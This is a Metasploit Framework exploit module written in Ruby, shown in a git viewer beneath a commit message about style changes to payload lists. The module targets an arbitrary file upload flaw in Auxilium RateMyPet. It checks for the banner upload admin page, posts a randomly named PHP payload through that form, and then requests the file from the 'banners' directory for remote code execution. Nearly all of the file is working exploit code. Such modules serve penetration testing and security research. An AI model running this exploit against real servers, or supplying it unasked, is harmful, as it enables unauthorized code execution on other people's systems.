Tod Beardsley
c547e84fa7
According to the Ruby style guide, %w{} collections for arrays of single
words are preferred. They're easier to type, and if you want a quick
grep, they're easier to search.
This change converts all Payloads to this format if there is more than
one payload to choose from.
It also alphabetizes the payloads, so the order can be more predictable,
and for long sets, easier to scan with eyeballs.
See:
https://github.com/bbatsov/ruby-style-guide#collections
121 lines
3.5 KiB
Ruby
121 lines
3.5 KiB
Ruby
##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::HttpClient
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include Msf::Exploit::PhpEXE
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def initialize(info={})
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super(update_info(info,
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'Name' => "Auxilium RateMyPet Arbitrary File Upload Vulnerability",
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'Description' => %q{
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This module exploits a vulnerability found in Auxilium RateMyPet's. The site
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banner uploading feature can be abused to upload an arbitrary file to the web
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server, which is accessible in the 'banner' directory, thus allowing remote code
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execution.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'DaOne', # Vulnerability discovery
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'sinn3r' # Metasploit
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],
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'References' =>
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[
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['OSVDB', '85554'],
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['EDB', '21329']
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],
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'Payload' =>
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{
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'BadChars' => "\x00"
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},
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'Platform' => %w{ linux php },
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'Targets' =>
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[
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[ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],
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[ 'Linux x86' , { 'Arch' => ARCH_X86, 'Platform' => 'linux'} ]
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],
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'Privileged' => false,
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'DisclosureDate' => "Sep 14 2012",
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'DefaultTarget' => 0))
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register_options(
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[
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OptString.new('TARGETURI', [true, 'The base directory to the application', '/Auxiliumpetratepro/'])
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], self.class)
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end
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def check
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uri = target_uri.path
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base = File.dirname("#{uri}.")
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res = send_request_raw({
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'uri' => normalize_uri("#{base}/admin/sitebanners/upload_banners.php")
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})
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if res and res.body =~ /\<title\>Pet Rate Admin \- Banner Manager\<\/title\>/
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return Exploit::CheckCode::Appears
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else
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return Exploit::CheckCode::Safe
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end
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end
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def upload_exec(base, php_fname, p)
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data = Rex::MIME::Message.new
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data.add_part('http://', nil, nil, "form-data; name=\"burl\"")
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data.add_part('', nil, nil, "form-data; name=\"alt\"")
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data.add_part(p, 'text/plain', nil, "form-data; name=\"userfile\"; filename=\"#{php_fname}\"")
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data.add_part(' Upload', nil, nil, "form-data; name=\"submitok\"")
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post_data = data.to_s
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post_data = post_data.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')
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print_status("#{@peer} - Uploading payload (#{p.length.to_s} bytes)...")
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res = send_request_cgi({
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'method' => 'POST',
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'uri' => normalize_uri("#{base}/admin/sitebanners/upload_banners.php"),
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'ctype' => "multipart/form-data; boundary=#{data.bound}",
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'data' => post_data,
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})
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if not res
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print_error("#{@peer} - No response from host")
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return
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end
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print_status("#{@peer} - Requesting '#{php_fname}'...")
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res = send_request_raw({'uri'=>normalize_uri("#{base}/banners/#{php_fname}")})
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if res and res.code == 404
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print_error("#{@peer} - Upload unsuccessful: #{res.code.to_s}")
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return
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end
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handler
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end
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def exploit
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@peer = "#{rhost}:#{rport}"
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uri = normalize_uri(target_uri.path)
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uri << '/' if uri[-1,1] != '/'
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base = File.dirname("#{uri}.")
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php_fname = "#{Rex::Text.rand_text_alpha(5)}.php"
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p = get_write_exec_payload(:unlink_self=>true)
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upload_exec(base, php_fname, p)
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end
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end
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